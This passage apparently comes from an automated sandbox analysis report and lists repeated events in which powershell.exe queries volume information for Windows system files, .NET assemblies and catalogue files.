      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
